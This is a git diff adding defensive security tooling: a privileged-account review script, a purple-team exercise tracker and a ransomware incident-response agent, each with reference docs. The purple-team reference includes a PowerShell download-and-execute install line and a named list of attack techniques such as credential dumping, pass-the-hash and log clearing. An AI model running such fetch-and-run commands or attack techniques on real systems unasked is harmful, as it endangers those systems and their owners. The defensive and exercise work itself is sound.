INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-privileged-account-access-review/references/api-reference.md b/skills/performing-privileged-account-access-review/references/api-reference.md new file mode 100644 index 00000000..4128299b --- /dev/null +++ b/skills/performing-privileged-account-access-review/references/api-reference.md @@ -0,0 +1,62 @@ +# Privileged Account Access Review — API Reference + +## CSV Input Format + +The agent consumes a CSV file with these columns: + +| Column | Type | Description | +|--------|------|-------------| +| `username` | string | Account identifier (SAMAccountName or UPN) | +| `owner` | string | Assigned account owner / manager | +| `roles` | string | Semicolon-separated privilege roles | +| `last_used` | string | ISO date `YYYY-MM-DD` of last interactive logon | +| `last_certified` | string | ISO date `YYYY-MM-DD` of most recent access review | +| `account_type` | string | `human`, `service`, or `shared` | + +## Checks Performed + +### Stale Account Detection +Flags accounts whose `last_used` date exceeds a configurable threshold (default 90 days). Accounts without a `last_used` value are automatically flagged as high severity. + +### Shared Account Detection +Matches `username` against common shared-account patterns: `admin`, `root`, `service`, `svc_`, `shared`, `generic`, `temp`. Flags accounts matching these patterns that lack an assigned `owner`. + +### Excessive Privilege Detection +Compares the `roles` field against high-risk role names: Domain Admin, Enterprise Admin, Schema Admin, Global Admin, Super Admin, Root. Any match triggers a critical finding. + +### Recertification Compliance +Compares `last_certified` against a configurable interval (default 180 days). Accounts never certified are flagged as critical. + +## Output Schema + +```json +{ + "report": "privileged_account_access_review", + "generated_at": "ISO-8601 timestamp", + "total_accounts": 150, + "total_findings": 12, + "severity_summary": {"critical": 3, "high": 7, "medium": 2}, + "findings": [ + { + "account": "svc_backup", + "issue": "shared_account_no_owner", + "severity": "critical", + "detail": "Appears shared (matches 'svc_') with no assigned owner" + } + ] +} +``` + +## Compliance Frameworks + +- **NIST SP 800-53 AC-2**: Account Management — periodic review of privileged accounts +- **CIS Controls v8 5.3**: Disable dormant accounts after 45 days of inactivity +- **PCI DSS 8.1.4**: Remove/disable inactive user accounts within 90 days +- **SOX Section 404**: Internal controls over financial reporting require access reviews +- **ISO 27001 A.9.2.5**: Review of user access rights at planned intervals + +## CLI Usage + +```bash +python agent.py --input accounts.csv --stale-days 90 --cert-days 180 --output report.json +``` diff --git a/skills/performing-privileged-account-access-review/scripts/agent.py b/skills/performing-privileged-account-access-review/scripts/agent.py new file mode 100644 index 00000000..ac0f3a69 --- /dev/null +++ b/skills/performing-privileged-account-access-review/scripts/agent.py @@ -0,0 +1,137 @@ +#!/usr/bin/env python3 +"""Privileged Account Access Review agent — audits privileged accounts for +compliance with least-privilege and periodic recertification requirements.""" + +import argparse +import csv +import json +import sys +from datetime import datetime, timedelta +from pathlib import Path + + +def load_accounts(csv_path: str) -> list[dict]: + """Load privileged account inventory from CSV.""" + with open(csv_path, newline="", encoding="utf-8") as fh: + reader = csv.DictReader(fh) + return list(reader) + + +def check_stale_accounts(accounts: list[dict], max_days: int = 90) -> list[dict]: + """Flag accounts not used within max_days.""" + findings = [] + cutoff = datetime.utcnow() - timedelta(days=max_days) + for acct in accounts: + last_used = acct.get("last_used", "") + if not last_used: + findings.append({"account": acct.get("username", ""), "issue": "no_last_used_date", + "severity": "high", "detail": "Account has no recorded last-used date"}) + continue + try: + used_dt = datetime.strptime(last_used, "%Y-%m-%d") + if used_dt < cutoff: + findings.append({"account": acct.get("username", ""), + "issue": "stale_account", "severity": "high", + "detail": f"Last used {last_used}, exceeds {max_days}-day threshold"}) + except ValueError: + findings.append({"account": acct.get("username", ""), "issue": "invalid_date", + "severity": "medium", "detail": f"Cannot parse last_used: {last_used}"}) + return findings + + +def check_shared_accounts(accounts: list[dict]) -> list[dict]: + """Detect shared/generic privileged accounts.""" + shared_patterns = ["admin", "root", "service", "svc_", "shared", "generic", "temp"] + findings = [] + for acct in accounts: + uname = acct.get("username", "").lower() + owner = acct.get("owner", "").strip() + for pat in shared_patterns: + if pat in uname and not owner: + findings.append({"account": acct.get("username", ""), + "issue": "shared_account_no_owner", "severity": "critical", + "detail": f"Appears shared (matches '{pat}') with no assigned owner"}) + break + return findings + + +def check_excessive_privileges(accounts: list[dict]) -> list[dict]: + """Flag accounts with overly broad privilege sets.""" + high_risk_roles = {"domain admin", "enterprise admin", "schema admin", + "global admin", "super admin", "root"} + findings = [] + for acct in accounts: + roles = {r.strip().lower() for r in acct.get("roles", "").split(";")} + overlap = roles & high_risk_roles + if overlap: + findings.append({"account": acct.get("username", ""), + "issue": "excessive_privilege", "severity": "critical", + "detail": f"Holds high-risk roles: {', '.join(sorted(overlap))}"}) + return findings + + +def check_recertification(accounts: list[dict], cert_interval_days: int = 180) -> list[dict]: + """Flag accounts overdue for recertification.""" + cutoff = datetime.utcnow() - timedelta(days=cert_interval_days) + findings = [] + for acct in accounts: + cert_date = acct.get("last_certified", "") + if not cert_date: + findings.append({"account": acct.get("username", ""), + "issue": "never_certified", "severity": "critical", + "detail": "Account has never been certified"}) + continue + try: + cert_dt = datetime.strptime(cert_date, "%Y-%m-%d") + if cert_dt < cutoff: + findings.append({"account": acct.get("username", ""), + "issue": "overdue_recertification", "severity": "high", + "detail": f"Last certified {cert_date}, exceeds {cert_interval_days}-day cycle"}) + except ValueError: + pass + return findings + + +def generate_report(accounts: list[dict], stale_days: int, cert_days: int) -> dict: + """Run all checks and produce a consolidated JSON report.""" + findings = [] + findings.extend(check_stale_accounts(accounts, stale_days)) + findings.extend(check_shared_accounts(accounts)) + findings.extend(check_excessive_privileges(accounts)) + findings.extend(check_recertification(accounts, cert_days)) + + severity_counts = {} + for f in findings: + severity_counts[f["severity"]] = severity_counts.get(f["severity"], 0) + 1 + + return { + "report": "privileged_account_access_review", + "generated_at": datetime.utcnow().isoformat() + "Z", + "total_accounts": len(accounts), + "total_findings": len(findings), + "severity_summary": severity_counts, + "findings": findings, + } + + +def main(): + parser = argparse.ArgumentParser(description="Privileged Account Access Review Agent") + parser.add_argument("--input", required=True, help="CSV file with privileged account inventory") + parser.add_argument("--stale-days", type=int, default=90, help="Max days of inactivity (default: 90)") + parser.add_argument("--cert-days", type=int, default=180, help="Recertification interval in days (default: 180)") + parser.add_argument("--output", help="Output JSON file path") + args = parser.parse_args() + + accounts = load_accounts(args.input) + report = generate_report(accounts, args.stale_days, args.cert_days) + + output = json.dumps(report, indent=2) + if args.output: + Path(args.output).write_text(output, encoding="utf-8") + print(f"Report written to {args.output}") + else: + print(output) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-privileged-account-discovery/LICENSE b/skills/performing-privileged-account-discovery/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-privileged-account-discovery/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-purple-team-exercise/LICENSE b/skills/performing-purple-team-exercise/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-purple-team-exercise/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-purple-team-exercise/references/api-reference.md b/skills/performing-purple-team-exercise/references/api-reference.md new file mode 100644 index 00000000..055d5fab --- /dev/null +++ b/skills/performing-purple-team-exercise/references/api-reference.md @@ -0,0 +1,50 @@ +# API Reference: Purple Team Exercise + +## Atomic Red Team (PowerShell) + +```powershell +# Install +IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1') +Install-AtomicRedTeam -getAtomics + +# Execute technique +Invoke-AtomicTest T1059.001 -TestNumbers 1 + +# Cleanup after test +Invoke-AtomicTest T1059.001 -TestNumbers 1 -Cleanup +``` + +## MITRE Caldera API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/api/v2/operations` | POST | Start adversary emulation operation | +| `/api/v2/operations/{id}` | GET | Get operation status and results | +| `/api/v2/abilities` | GET | List available ATT&CK abilities | +| `/api/v2/adversaries` | GET | List adversary profiles | + +## ATT&CK Techniques Commonly Tested + +| ID | Technique | Detection Signal | +|----|-----------|-----------------| +| T1059.001 | PowerShell | Sysmon EventCode 1, PowerShell logging | +| T1053.005 | Scheduled Task | EventCode 4698 | +| T1003.001 | LSASS Access | Sysmon EventCode 10 | +| T1550.002 | Pass-the-Hash | EventCode 4624 with NTLM Type 3 | +| T1021.002 | PsExec | EventCode 7045 (PSEXESVC) | +| T1490 | Shadow Copy Deletion | vssadmin process creation | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `json` | stdlib | Test plan and report management | +| `subprocess` | stdlib | Execute Atomic Red Team tests | +| `datetime` | stdlib | Detection latency measurement | + +## References + +- Atomic Red Team: https://github.com/redcanaryco/atomic-red-team +- MITRE Caldera: https://github.com/mitre/caldera +- Vectr: https://vectr.io/ +- ATT&CK Navigator: https://mitre-attack.github.io/attack-navigator/ diff --git a/skills/performing-purple-team-exercise/scripts/agent.py b/skills/performing-purple-team-exercise/scripts/agent.py new file mode 100644 index 00000000..578125b3 --- /dev/null +++ b/skills/performing-purple-team-exercise/scripts/agent.py @@ -0,0 +1,198 @@ +#!/usr/bin/env python3 +"""Agent for performing purple team exercises. + +Coordinates red team technique execution with blue team detection +validation, tracks ATT&CK-mapped test results, and generates +detection coverage reports. +""" + +import json +import sys +import subprocess +from datetime import datetime +from pathlib import Path + + +class PurpleTeamAgent: + """Manages purple team exercise execution and tracking.""" + + def __init__(self, exercise_id, output_dir): + self.exercise_id = exercise_id + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.test_plan = [] + self.results = [] + + def add_technique(self, attack_id, name, tool, expected_detection): + """Add a technique to the test plan.""" + self.test_plan.append({ + "attack_id": attack_id, + "name": name, + "tool": tool, + "expected_detection": expected_detection, + "status": "pending", + }) + + def load_test_plan(self, plan_path): + """Load test plan from a JSON file.""" + with open(plan_path, "r") as f: + data = json.load(f) + self.test_plan = data.get("techniques", []) + + def build_default_test_plan(self): + """Build a default FIN7-style purple team test plan.""" + techniques = [ + ("T1059.001", "PowerShell Execution", "Atomic Red Team", "PowerShell alert"), + ("T1053.005", "Scheduled Task", "Atomic Red Team", "Task creation alert"), + ("T1547.001", "Registry Run Keys", "Atomic Red Team", "Registry modification alert"), + ("T1003.001", "LSASS Memory Access", "Mimikatz", "Credential dumping alert"), + ("T1550.002", "Pass-the-Hash", "Mimikatz", "NTLM anomaly detection"), + ("T1021.002", "PsExec", "PsExec.exe", "PsExec service creation alert"), + ("T1047", "WMI Execution", "wmic", "WMI remote execution alert"), + ("T1021.001", "RDP Lateral Movement", "xfreerdp", "RDP lateral movement alert"), + ("T1071.001", "Web C2 Channel", "C2 framework", "C2 beacon detection"), + ("T1041", "Exfiltration over C2", "rclone", "Data exfiltration alert"), + ("T1490", "Inhibit Recovery", "vssadmin", "Shadow copy deletion alert"), + ("T1070.001", "Clear Event Logs", "wevtutil", "Log clearing detection"), + ] + for attack_id, name, tool, detection in techniques: + self.add_technique(attack_id, name, tool, detection) + + def record_execution(self, attack_id, execution_time=None): + """Record that a red team technique has been executed.""" + if execution_time is None: + execution_time = datetime.utcnow().isoformat() + for technique in self.test_plan: + if technique["attack_id"] == attack_id: + technique["execution_time"] = execution_time + technique["status"] = "executed" + break + + def record_detection(self, attack_id, detected, alert_name=None, + detection_time=None, notes=""): + """Record blue team detection result for a technique.""" + if detection_time is None and detected: + detection_time = datetime.utcnow().isoformat() + + for technique in self.test_plan: + if technique["attack_id"] == attack_id: + exec_time = technique.get("execution_time", "") + latency = None + if detected and exec_time and detection_time: + try: + t1 = datetime.fromisoformat(exec_time) + t2 = datetime.fromisoformat(detection_time) + latency = (t2 - t1).total_seconds() + except ValueError: + pass + + result = { + "attack_id": attack_id, + "name": technique["name"], + "detected": detected, + "alert_name": alert_name, + "execution_time": exec_time, + "detection_time": detection_time, + "latency_seconds": latency, + "notes": notes, + "status": "PASS" if detected else "FAIL", + } + self.results.append(result) + technique["status"] = "detected" if detected else "gap" + return result + return None + + def get_coverage_metrics(self): + """Calculate detection coverage metrics.""" + if not self.results: + return {} + + total = len(self.results) + detected = sum(1 for r in self.results if r["detected"]) + gaps = total - detected + latencies = [r["latency_seconds"] for r in self.results + if r["latency_seconds"] is not None] + avg_latency = sum(latencies) / len(latencies) if latencies else 0 + + return { + "total_techniques": total, + "detected": detected, + "gaps": gaps, + "coverage_pct": round(detected / total * 100, 1) if total else 0, + "avg_latency_seconds": round(avg_latency, 1), + "min_latency": round(min(latencies), 1) if latencies else None, + "max_latency": round(max(latencies), 1) if latencies else None, + } + + def get_gap_analysis(self): + """Identify detection gaps requiring remediation.""" + return [ + { + "attack_id": r["attack_id"], + "name": r["name"], + "notes": r["notes"], + "remediation": f"Create detection rule for {r['name']}", + } + for r in self.results if not r["detected"] + ] + + def generate_report(self): + """Generate comprehensive purple team exercise report.""" + metrics = self.get_coverage_metrics() + gaps = self.get_gap_analysis() + + report = { + "exercise_id": self.exercise_id, + "report_date": datetime.utcnow().isoformat(), + "coverage_metrics": metrics, + "detailed_results": self.results, + "detection_gaps": gaps, + "test_plan": self.test_plan, + } + + report_path = self.output_dir / f"{self.exercise_id}_report.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2) + + print(f"PURPLE TEAM EXERCISE REPORT - {self.exercise_id}") + print("=" * 50) + print(f"Techniques Tested: {metrics.get('total_techniques', 0)}") + print(f"Detected: {metrics.get('detected', 0)} ({metrics.get('coverage_pct', 0)}%)") + print(f"Gaps: {metrics.get('gaps', 0)}") + print(f"Avg Detection Latency: {metrics.get('avg_latency_seconds', 0)}s") + print(f"\nDetailed Results:") + for r in self.results: + status = "PASS" if r["detected"] else "FAIL" + latency = f"{r['latency_seconds']}s" if r["latency_seconds"] else "N/A" + print(f" [{status}] {r['attack_id']} {r['name']} (Latency: {latency})") + + if gaps: + print(f"\nDetection Gaps:") + for g in gaps: + print(f" - {g['attack_id']} {g['name']}: {g['notes']}") + + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [output_dir] [plan_file]") + sys.exit(1) + + exercise_id = sys.argv[1] + output_dir = sys.argv[2] if len(sys.argv) > 2 else "./purple_team_output" + + agent = PurpleTeamAgent(exercise_id, output_dir) + + if len(sys.argv) > 3: + agent.load_test_plan(sys.argv[3]) + else: + agent.build_default_test_plan() + + print(json.dumps({"test_plan": agent.test_plan}, indent=2)) + print(f"\nTest plan created with {len(agent.test_plan)} techniques") + print(f"Output directory: {output_dir}") + + +if __name__ == "__main__": + main() diff --git a/skills/performing-ransomware-incident-response/LICENSE b/skills/performing-ransomware-incident-response/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-ransomware-incident-response/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-ransomware-response/LICENSE b/skills/performing-ransomware-response/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-ransomware-response/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-ransomware-response/references/api-reference.md b/skills/performing-ransomware-response/references/api-reference.md new file mode 100644 index 00000000..6ad953e7 --- /dev/null +++ b/skills/performing-ransomware-response/references/api-reference.md @@ -0,0 +1,47 @@ +# API Reference: Ransomware Response + +## Ransomware Identification Services + +| Service | URL | Purpose | +|---------|-----|---------| +| ID Ransomware | https://id-ransomware.malwarehunterteam.com/ | Upload ransom note or sample for identification | +| NoMoreRansom | https://www.nomoreransom.org/en/decryption-tools.html | Free decryption tools | +| CISA StopRansomware | https://www.cisa.gov/stopransomware | Federal guidance and resources | + +## OFAC Sanctions Screening + +| Resource | URL | Purpose | +|----------|-----|---------| +| OFAC SDN List | https://sanctionssearch.ofac.treas.gov/ | Check if ransomware group is sanctioned | +| OFAC Advisory | https://home.treasury.gov/policy-issues/financial-sanctions | Ransomware payment guidance | + +## Key Containment Commands + +| Action | Command | Description | +|--------|---------|-------------| +| Block SMB | `netsh advfirewall firewall add rule name="Block SMB" dir=in action=block protocol=TCP localport=445` | Block lateral movement | +| Block RDP | `netsh advfirewall firewall add rule name="Block RDP" dir=in action=block protocol=TCP localport=3389` | Block RDP | +| Disable account | `Disable-ADAccount -Identity ` | Disable compromised AD account | + +## Recovery Validation + +| Check | Command | Description | +|-------|---------|-------------| +| Backup integrity | `veeamcli verify` | Verify backup is not encrypted | +| Password reset | `Set-ADAccountPassword` | Reset all domain passwords | +| DC health | `dcdiag /v` | Validate rebuilt domain controller | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | Query ransomware identification APIs | +| `hashlib` | stdlib | Hash encrypted file samples | +| `json` | stdlib | Incident tracking and reporting | + +## References + +- CISA Ransomware Guide: https://www.cisa.gov/stopransomware/ransomware-guide +- NIST SP 1800-26: https://www.nccoe.nist.gov/data-integrity-recovering-ransomware +- NoMoreRansom: https://www.nomoreransom.org/ +- Veeam recovery: https://www.veeam.com/ransomware-recovery.html diff --git a/skills/performing-ransomware-response/scripts/agent.py b/skills/performing-ransomware-response/scripts/agent.py new file mode 100644 index 00000000..31745c63 --- /dev/null +++ b/skills/performing-ransomware-response/scripts/agent.py @@ -0,0 +1,228 @@ +#!/usr/bin/env python3 +"""Agent for performing ransomware response. + +Automates ransomware identification, impact assessment, backup +verification, IOC extraction, and recovery tracking during +ransomware incident response. +""" + +import requests +import json +import sys +import hashlib +import re +from pathlib import Path +from datetime import datetime +from collections import defaultdict + + +class RansomwareResponseAgent: + """Assists with structured ransomware incident response.""" + + def __init__(self, case_id, output_dir): + self.case_id = case_id + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.incident = { + "case_id": case_id, + "status": "active", + "timeline": [], + } + + def log_event(self, event_type, description, details=None): + """Add a timestamped event to the incident timeline.""" + event = { + "timestamp": datetime.utcnow().isoformat(), + "type": event_type, + "description": description, + } + if details: + event["details"] = details + self.incident["timeline"].append(event) + + def identify_ransomware(self, ransom_note_path=None, encrypted_file_path=None, + extension=None): + """Identify ransomware variant from note, file, or extension.""" + identification = { + "method": "manual", + "extension": extension, + } + + if ransom_note_path and Path(ransom_note_path).exists(): + note_content = Path(ransom_note_path).read_text(errors="ignore") + identification["ransom_note"] = note_content[:2000] + + known_patterns = { + "LockBit": ["lockbit", "LOCKBIT", "restore-my-files"], + "BlackCat/ALPHV": ["ALPHV", "BlackCat", "RECOVER-"], + "Royal": ["Royal", "royal_w"], + "Akira": ["akira", ".akira"], + "Play": [".play", "PLAY"], + "Cl0p": ["CL0P", "clop"], + "Rhysida": ["rhysida", "RHYSIDA"], + } + for family, patterns in known_patterns.items(): + for pattern in patterns: + if pattern in note_content: + identification["family"] = family + break + + if encrypted_file_path and Path(encrypted_file_path).exists(): + file_hash = hashlib.sha256( + Path(encrypted_file_path).read_bytes() + ).hexdigest() + identification["encrypted_sample_hash"] = file_hash + + self.incident["identification"] = identification + self.log_event("identification", f"Ransomware identified: {identification.get('family', 'Unknown')}") + return identification + + def check_decryptor_availability(self, family): + """Check NoMoreRansom and known sources for free decryptors.""" + known_decryptors = { + "GandCrab": "https://www.nomoreransom.org/en/decryption-tools.html", + "REvil": "https://www.nomoreransom.org/en/decryption-tools.html", + "Maze": "https://www.nomoreransom.org/en/decryption-tools.html", + "Shade": "https://www.nomoreransom.org/en/decryption-tools.html", + "Jigsaw": "https://www.nomoreransom.org/en/decryption-tools.html", + } + has_decryptor = family in known_decryptors + return { + "family": family, + "decryptor_available": has_decryptor, + "source": known_decryptors.get(family, "None known"), + "nomoreransom_url": "https://www.nomoreransom.org/en/decryption-tools.html", + "id_ransomware_url": "https://id-ransomware.malwarehunterteam.com/", + } + + def assess_impact(self, encrypted_hosts=0, total_hosts=0, + encrypted_servers=0, total_servers=0, + dc_affected=0, total_dcs=0, + data_exfiltrated_gb=0, ransom_amount="", + backup_status="unknown"): + """Assess the scope and impact of the ransomware incident.""" + assessment = { + "encrypted_hosts": encrypted_hosts, + "total_hosts": total_hosts, + "host_impact_pct": round(encrypted_hosts / max(total_hosts, 1) * 100, 1), + "encrypted_servers": encrypted_servers, + "total_servers": total_servers, + "dc_affected": dc_affected, + "total_dcs": total_dcs, + "data_exfiltrated_gb": data_exfiltrated_gb, + "double_extortion": data_exfiltrated_gb > 0, + "ransom_amount": ransom_amount, + "backup_status": backup_status, + } + + if backup_status == "clean": + assessment["recommended_recovery"] = "Restore from backup" + elif backup_status == "compromised": + assessment["recommended_recovery"] = "Rebuild from scratch" + else: + assessment["recommended_recovery"] = "Verify backup integrity first" + + self.incident["impact_assessment"] = assessment + self.log_event("impact_assessment", f"{encrypted_hosts}/{total_hosts} hosts encrypted") + return assessment + + def generate_containment_checklist(self): + """Generate prioritized containment checklist.""" + checklist = [ + {"priority": 1, "action": "Disconnect affected network segments from core infrastructure", + "status": "pending", "note": "Pull network cable, do NOT power off"}, + {"priority": 2, "action": "Isolate all domain controllers immediately", + "status": "pending", "note": "If GPO-based deployment suspected"}, + {"priority": 3, "action": "Disable compromised accounts used for deployment", + "status": "pending"}, + {"priority": 4, "action": "Block lateral movement protocols (SMB 445, RDP 3389, WinRM 5985-5986)", + "status": "pending"}, + {"priority": 5, "action": "Preserve at least one encrypted system powered on for memory forensics", + "status": "pending", "note": "Encryption keys may be in memory"}, + {"priority": 6, "action": "Verify offline backup integrity", + "status": "pending"}, + {"priority": 7, "action": "Engage incident response retainer and cyber insurance", + "status": "pending"}, + {"priority": 8, "action": "Notify legal counsel for OFAC screening and regulatory assessment", + "status": "pending"}, + ] + self.incident["containment_checklist"] = checklist + return checklist + + def generate_recovery_plan(self): + """Generate recovery plan based on impact assessment.""" + assessment = self.incident.get("impact_assessment", {}) + backup_status = assessment.get("backup_status", "unknown") + + steps = [] + if backup_status == "clean": + steps = [ + "Build clean isolated network segment for recovery", + "Rebuild domain controllers from clean media", + "Reset ALL user and service account passwords", + "Restore servers in priority: auth > DNS > DHCP > business apps", + "Reimage workstations (do not file-level restore)", + "Restore data from verified clean backups", + "Validate and reconnect to production network", + ] + else: + steps = [ + "Verify backup integrity before proceeding", + "If no clean backups, evaluate rebuild from scratch", + "Check NoMoreRansom.org for available decryptors", + "Consult with IR retainer on recovery options", + ] + + plan = { + "strategy": assessment.get("recommended_recovery", "TBD"), + "steps": steps, + "post_recovery_hardening": [ + "Enforce MFA on all remote access", + "Implement 3-2-1-1-0 backup strategy", + "Deploy application whitelisting on servers", + "Implement network segmentation", + "Deploy LAPS for local admin passwords", + "Disable NTLM where possible", + ], + } + self.incident["recovery_plan"] = plan + return plan + + def generate_report(self): + """Generate comprehensive ransomware incident report.""" + self.generate_containment_checklist() + self.generate_recovery_plan() + + report = self.incident.copy() + report["report_date"] = datetime.utcnow().isoformat() + + report_path = self.output_dir / f"{self.case_id}_ransomware_report.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2) + + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [output_dir] [ransom_note_path]") + sys.exit(1) + + case_id = sys.argv[1] + output_dir = sys.argv[2] if len(sys.argv) > 2 else "./ransomware_response" + + agent = RansomwareResponseAgent(case_id, output_dir) + + if len(sys.argv) > 3: + agent.identify_ransomware(ransom_note_path=sys.argv[3]) + + agent.assess_impact( + encrypted_hosts=0, total_hosts=0, + backup_status="unknown" + ) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-ransomware-tabletop-exercise/LICENSE b/skills/performing-ransomware-tabletop-exercise/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-ransomware-tabletop-exercise/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-red-team-phishing-with-gophish/LICENSE b/skills/performing-red-team-phishing-with-gophish/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-red-team-phishing-with-gophish/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE 